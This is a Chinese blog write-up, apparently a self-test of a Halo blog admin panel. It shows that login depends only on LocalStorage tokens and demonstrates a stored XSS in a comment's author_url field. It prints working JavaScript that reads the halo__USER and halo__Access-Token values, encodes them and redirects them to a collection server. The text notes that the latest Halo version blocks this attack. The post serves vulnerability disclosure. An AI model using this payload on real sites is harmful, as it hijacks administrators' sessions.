1. 构造后台登录请求
首先我用用户名密码正常的登录,然后刷新得到一个HttpRequestHeader
我使用POSTMAN构造这个ReqeustHeader看能否正确的拿到后台页面
显示JavaScript没有启动,那么我把这个页面放到HBuilder看看:
其实还是没拿到,所以此方法无效。
2. 分析
通过分析我发现,验证登录主要是校验localstore,也就是存储在浏览器本地的cookie:
我现在关掉浏览器,使用另外的浏览器,并且在LocalStore中存储一样的值,然后访问后台页面看能否直接到后台:
然后我将这些本地localstore复制过来:
然后直接访问https://liuzihua.top/admin,发现无缝登录。。
得出结论,登录完全依赖于LocalStorage
3. 模拟XSS获取LocalStorage
首先我翻到以前的一条XSS的评论:
改为如下:
javascript:console.log(localStorage.getItem("halo__Access-Token"));console.log(localStorage.getItem("halo__USER"))//://
然后进入评论管理模块,点击这个jjj,发现打开的控制台输出了隐私数据:
如果我是一名黑客,那么只需要把console.log改为页面跳转,并且把获取到的halo_user和halo_token作为参数,就可以在我的服务端获取登录信息
然后可以在任意电脑上设置完全一致的LocalStrage最终可以直接访问别人的后台
4. 在最新版本的Halo尝试XSS
发现XSS被拦截
说明最新版本的halo是正常的,建议快速升级halo
5. 尝试模拟XSS攻击
我的思路就是通过localStorage获取两个cookie,然后重定向url发送到接受xss服务器的地址上,这里我做了编码解码的处理,为了防止中文、双引号等字符转义失败。我的处理是先URL编码再BASE64编码,最后发到服务器端(http://localhost:8899/c)。
服务端很简单,使用SpringMVC快速搭建了一个接受服务的接口。
JS代码如下:
// encodeURIComponent
// btoa
var keys = ["halo__USER", "halo__Access-Token"];
var values = [], i = 0;
keys.forEach(k => values[i++] = localStorage.getItem(k));
values = values.map(v => btoa(encodeURIComponent(v)));
keys = keys.map(k => btoa(encodeURIComponent(k)));
var url = "http://localhost:8899/c?token_keys=" + keys.toString() + "&" + "token_values=" + values.toString();
location.href = url;
对js代码进行压缩,并构造的xss请求:
javascript:var keys=["halo__USER","halo__Access-Token"];var values=[],i=0;keys.forEach(k=>values[i++]=localStorage.getItem(k));values=values.map(v=>btoa(encodeURIComponent(v)));keys=keys.map(k=>btoa(encodeURIComponent(k)));var url="http://localhost:8899/c?token_keys="+keys.toString()+"&"+"token_values="+values.toString();location.href=url;//://
然后我将构造的XSS代码手动添加的数据库中:
这个参数是author_url,后台是这样的:
点击jjj之后:
可以看到我服务端已经窃取了这个cookie